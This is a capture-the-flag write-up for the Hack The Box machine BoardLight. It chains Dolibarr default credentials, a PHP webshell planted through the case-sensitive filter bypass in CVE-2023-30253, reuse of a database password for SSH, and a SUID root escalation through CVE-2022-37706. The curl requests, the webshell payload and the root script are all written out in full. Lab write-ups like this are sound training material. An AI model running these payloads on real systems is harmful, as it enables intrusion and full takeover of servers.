root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat boardlight.md
// writeups

BoardLight

25 May 2024 · 20 min read
BoardLight - maquina de Hack The Box

Executive summary — BoardLight exposes only SSH and an Apache server hosting a static corporate site, but the domain leaked on that page leads to a hidden vhost running Dolibarr ERP/CRM 17.0.0 protected by factory credentials (admin:admin). From there, CVE-2023-30253 — a case-sensitive anti-PHP filter — grants code execution as www-data. A reused database password opens SSH access to the system user, and a SUID binary belonging to a desktop window manager that had no business being on a server (CVE-2022-37706) hands over root. No single link is sophisticated on its own; the chain is, because every step depends on the previous one.

PlatformHack The Box
Operating systemLinux (Ubuntu 20.04 LTS)
DifficultyEasy
StatusRetired
Target IP10.129.231.37

Attack map

[80] board.htb — static corporate site, leaks the internal domain
   │  vhost fuzzing -> crm.board.htb (hidden, same 302 response size)
   ▼
[80] crm.board.htb — Dolibarr ERP/CRM 17.0.0
   │  factory credentials admin:admin -> administrative session
   ▼
[RCE]  CVE-2023-30253 — Website module's anti-PHP filter is
   │  case-sensitive (blocks <?php but not <?PHP)
   ▼
[www-data]
   │  conf.php leaks the DB password, reused as the SSH
   │  password for the system user larissa
   ▼
[SSH]  larissa  (user.txt)
   │  enlightenment_sys (SUID root, v0.23.1) — CVE-2022-37706,
   │  command injection via an unsanitized ";" in the path
   ▼
[ROOT]  SUID copy of bash -> root.txt

1. Reconnaissance

ping -c 2 -W 3 10.129.231.37
64 bytes from 10.129.231.37: icmp_seq=1 ttl=63 time=35.5 ms
64 bytes from 10.129.231.37: icmp_seq=2 ttl=63 time=35.6 ms

A TTL of 63 is a free hint: Linux initializes TTL at 64, Windows at 128. 63 = 64 minus one network hop (the VPN gateway). Before scanning a single port, the target is already known to be Linux and one hop away.

nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.231.37
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Not shown: 65226 closed tcp ports (reset), 307 filtered tcp ports (no-response)

Only two ports. That narrows the search space immediately: the entry point has to be on port 80, since SSH without prior credentials isn't a realistic way in.

nmap -sCV -p22,80 -Pn -oN nmap-services.txt 10.129.231.37
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Those OpenSSH and Apache versions are exactly what Ubuntu 20.04 LTS ships, and neither has a known practical pre-auth RCE. The vector isn't going to be the service, but whatever application runs on top of it.

curl -s -i -m 15 http://10.129.231.37/ | head -50

The response is a static commercial template, but the internal links use index.php, not .html: there's an active PHP interpreter even though the content looks entirely static. A feroxbuster run over the site only confirms more pages from the same template (about.php, contact.php...), and its contact forms have an empty action="" and inputs with no name attribute: purely decorative, they submit nothing to any backend. A dead end — but the dead end is the finding. Once the served content runs out, what's left to explore isn't more content, it's more hostnames.

grep -oiE '[a-z0-9._-]+\.(htb|com|local|net)' index.html | sort -u
board.htb
info@board.htb

The internal domain board.htb shows up in the page footer, in a contact email. Apache supports name-based virtual hosts: the same IP can host several distinct sites depending on the request's Host: header. Any other hosted site stays invisible until its name is guessed.

ffuf -u http://10.129.231.37/ -H "Host: FUZZ.board.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -mc all -fs 15949 -t 60

-fs 15949 is the essential option. When Apache gets a Host: it doesn't recognize, it doesn't error out: it serves the default vhost. Twenty thousand unfiltered requests would all return HTTP 200 with the same 15,949-byte page — pure noise. Filtering by that exact size, only genuinely different responses survive.

crm

A single real vhost: crm.board.htb. With no sudo on the attacking box to edit /etc/hosts, it's reached with curl's --resolve, which forces DNS resolution at the request level without touching the system:

curl -s -i --resolve crm.board.htb:80:10.129.231.37 http://crm.board.htb/ | head -30
Set-Cookie: DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=...
<meta name="author" content="Dolibarr Development Team">
<title>Login @ 17.0.0</title>

Three independent fingerprints confirm the target: the DOLSESSID_* cookie, the <title> literally publishing the version, and the ?version=17.0.0 parameter on static assets. Confirmed: Dolibarr 17.0.0.

2. Initial access — default credentials and CVE-2023-30253

Dolibarr creates an administrator account during installation. In careless deployments it stays at the default admin/admin. Since the app enforces an anti-CSRF token, login is automated in two steps: pull the token off the login page while saving the session cookie, then resend it with the credentials over that same session.

TOKEN=$(curl -s --resolve crm.board.htb:80:10.129.231.37 -c cj.txt \
  http://crm.board.htb/ | grep -oP 'name="token" value="\K[^"]+' | head -1)

curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -i \
  -X POST http://crm.board.htb/index.php \
  -d "token=$TOKEN" -d "actionlogin=login" -d "loginfunction=loginfunction" \
  -d "username=admin" -d "password=admin" -d "entity=1"
token=ee2d2ecaf21a2ae18b0cccd56fbf1390
HTTP/1.1 302 Found
Location: /admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete

A failed Dolibarr login returns HTTP 200 with the form again. Here there's a 302 to /admin/index.php: not only did the login succeed, the account is an administrator. Administrative access to an ERP holding customer data is already a critical finding on its own, independent of whatever CVE comes next.

Dolibarr ships a Website module (a built-in CMS) that stores pages as .php files served by the PHP interpreter. To stop an application administrator from executing code on the server, the source-code editor validates content and rejects anything containing PHP opening tags — but that check (CVE-2023-30253) is case-sensitive: it literally searches for <?php. The PHP interpreter, though, recognizes its opening tags case-insensitively — <?php, <?PHP and <?PhP all execute the same way. Writing <?PHP sails straight through the filter.

curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$T" -d "action=addsite" -d "WEBSITE_REF=pwn1" \
  -d "WEBSITE_DESCRIPTION=pwn" -d "WEBSITE_LANG=en" \
  -d "virtualhost=" -d "addcontainer=Create"

# ... create an empty container (page) inside the site, pageid=1 ...

curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt -c cj.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$T" --data-urlencode "action=updatesource" \
  --data-urlencode "website=pwn1" --data-urlencode "pageid=1" \
  --data-urlencode 'PAGE_CONTENT=<html><body><?PHP echo "PWNOK:".shell_exec($_REQUEST["cmd"]); ?></body></html>' \
  --data-urlencode "update=Save"

Uppercase <?PHP is the core of the bypass. The PWNOK: marker lets the command output be sliced out of the HTML wrapper Dolibarr adds around it, and shell_exec($_REQUEST["cmd"]) accepts the parameter over GET or POST. --data-urlencode is used instead of -d because the payload contains ?, &, <, >, $ and quotes; with -d the first & would have cut the request body short.

curl -s --resolve crm.board.htb:80:10.129.231.37 -b cj.txt \
  "http://crm.board.htb/public/website/index.php?website=pwn1&pageref=shell&cmd=id"
<html><body>PWNOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
</body></html>

Remote code execution confirmed as www-data. To avoid repeating the full request for every command, it's wrapped into a script that also uses perl -0777 -ne (slurp mode, treats the whole response as a single string) instead of line-by-line grep/sed — needed because the first extractor truncated any multi-line output:

# rce.sh — runs a command on the target via the webshell
curl -s -G --resolve crm.board.htb:80:10.129.231.37 -b cj.txt \
 "http://crm.board.htb/public/website/index.php" \
 --data-urlencode "website=pwn1" --data-urlencode "pageref=shell" \
 --data-urlencode "cmd=$1" \
 | perl -0777 -ne 'print $1 if /PWNOK:(.*?)<\/body>/s'

3. Credential pivot (user.txt)

./rce.sh 'id; ls -la /home'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
drwxr-x--- 15 larissa larissa 4096 May 17  2024 larissa

A single system user: larissa, with a home directory unreadable by www-data (drwxr-x---). user.txt sits in there; it takes actually becoming larissa, not just reading her files. Any web app with a database keeps its own credentials on disk somewhere, and the web process has to be able to read them by definition — in Dolibarr, that file is conf/conf.php:

./rce.sh 'cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep -a pass'
$dolibarr_main_db_pass='serverfun2$2023!!';

This isn't a poorly guarded secret — it's a secret sitting exactly where it's supposed to be. The database password shouldn't work anywhere else, but in practice whoever deployed the box tends to reuse it everywhere. Tried directly against SSH:

sshpass -p 'serverfun2$2023!!' ssh \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 \
  larissa@10.129.231.37 'id; hostname; cat ~/user.txt'
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
boardlight
d465eedbf3c7263e4df2bd502705cb4e

user.txt: d465eedbf3c7263e4df2bd502705cb4e

Worth noting: larissa belongs to the adm group (gid 4), which can read most of /var/log — a useful secondary avenue (credentials leaked in logs, other services' command history) that wasn't needed here but is worth recording.

4. Privilege escalation — CVE-2022-37706 (root.txt)

find / -perm -4000 -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/.../freqset
/usr/bin/su  /usr/bin/mount  /usr/bin/passwd  ...

Most of these SUID binaries are legitimate on any Ubuntu box. What stands out is the Enlightenment block: four SUID binaries from an X11 window manager on a machine that only exposes SSH and HTTP. A server has no business running a desktop environment — software installed without a purpose is always the first candidate in a privesc hunt. sudo -n -l comes back empty.

dpkg -l | grep -i enlightenment
hi  enlightenment       0.23.1-4  amd64  X11 window manager based on EFL

Enlightenment 0.23.1. CVE-2022-37706 was fixed in 0.25.4, so this version is vulnerable. The hi status (hold + installed) means the package was deliberately pinned so apt upgrade wouldn't touch it — that explains why it survived every patch cycle.

enlightenment_sys is a SUID-root helper binary that carries out privileged operations (mounting removable devices, adjusting brightness...) on behalf of an unprivileged process. When mounting, it builds a command line that includes a user-supplied path and runs it by invoking /bin/mount through a shell. The path validation checks that it starts with an allowed location, but doesn't neutralize shell metacharacters — a semicolon in the path separates commands, and everything after it runs as its own command, with root privileges.

/dev/../tmp/;/tmp/pwn

/dev/../tmp/ starts with /dev/ as far as the validator is concerned (an allowed location), but the filesystem resolves the .. down to plain /tmp/, world-writable. The ; closes the mount invocation for the shell, and /tmp/pwn is the next command, run as root: insufficient path normalization plus command injection.

# payload.sh — run as larissa on the target
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/pwn"

cat > /tmp/pwn <<'EOS'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOS
chmod a+x /tmp/pwn

/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount \
  -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,uid=$(id -u), \
  "/dev/../tmp/;/tmp/pwn" /tmp///net >/dev/null 2>&1

ls -la /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'

Instead of an interactive shell (awkward over non-interactive SSH), the payload creates a SUID copy of bash: repeatable, non-interactive root access. chmod 4755 sets the SUID bit, and since root creates the file, the copy is SUID root. The -p flag when invoking /tmp/rootbash is critical: bash normally drops elevated privileges on startup (an anti-SUID-shell measure); without -p the SUID copy would be useless.

scp payload.sh larissa@10.129.231.37:/tmp/payload.sh
ssh larissa@10.129.231.37 'bash /tmp/payload.sh'
-rwsr-xr-x 1 root root 1183448 Aug  8 07:45 /tmp/rootbash
uid=1000(larissa) gid=1000(larissa) euid=0(root) groups=1000(larissa),4(adm)
02f89e5b896fd9ed68e0b1f837514e2e

The real uid is still larissa, but the effective uid is root — and it's the effective uid the kernel checks for access control.

root.txt: 02f89e5b896fd9ed68e0b1f837514e2e

Vulnerability summary

PhaseComponentVulnerabilityImpact
Initial accessDolibarr ERP/CRM 17.0.0Factory credentials admin:admin on a hidden vhostAdministrative session on the CRM
RCEWebsite module — source code editorCVE-2023-30253 — case-sensitive anti-PHP filter (<?PHP vs <?php)Code execution as www-data
Lateral movementconf/conf.php / SSHDB password reused as SSH password for user larissaAccess as larissa (user.txt)
PrivEscenlightenment_sys (SUID root, v0.23.1)CVE-2022-37706 — command injection via an unsanitized ; in the pathRoot via SUID copy of bash (root.txt)

Lessons learned

  • A corporate site with no apparent functionality can still be the entry vector: check footers, metadata and contact emails for internal domain names, and filter vhost fuzzing by response size whenever the server has catch-all behavior (returns 200 with the default vhost for any unknown Host:).
  • Factory credentials on an ERP/CRM are a critical finding on their own, independent of any CVE found afterward — rotating them on first boot should be mandatory, not optional.
  • A security filter that compares literal text (<?php) without normalizing case is as good as no filter at all when the target interpreter is itself case-insensitive.
  • Web application config files are a common source of reusable credentials for SSH/system access — always check them right after landing application-level RCE.
  • Desktop software (window managers, graphical environments) installed on a headless server is, by definition, unjustified attack surface — and a package pinned on hold can go years without a patch that already exists.